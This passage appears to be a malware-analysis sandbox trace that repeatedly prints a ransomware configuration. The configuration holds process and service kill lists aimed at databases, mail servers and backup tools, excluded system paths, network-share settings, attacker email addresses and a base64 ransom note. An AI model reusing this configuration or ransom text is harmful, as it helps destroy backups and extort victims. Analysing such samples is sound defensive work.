\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 51200 [0030.419] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e68c8, Size=0x14) returned 0x8e6920 [0030.419] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6940 [0030.419] strtol (in: _Str="8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0x46fc24, _Radix=0 | out: _EndPtr=0x46fc24*=",\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 8 [0030.419] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e6920, Size=0x18) returned 0x8e6920 [0030.419] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6960 [0030.419] strtol (in: _Str="5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0x46fc24, _Radix=0 | out: _EndPtr=0x46fc24*=", 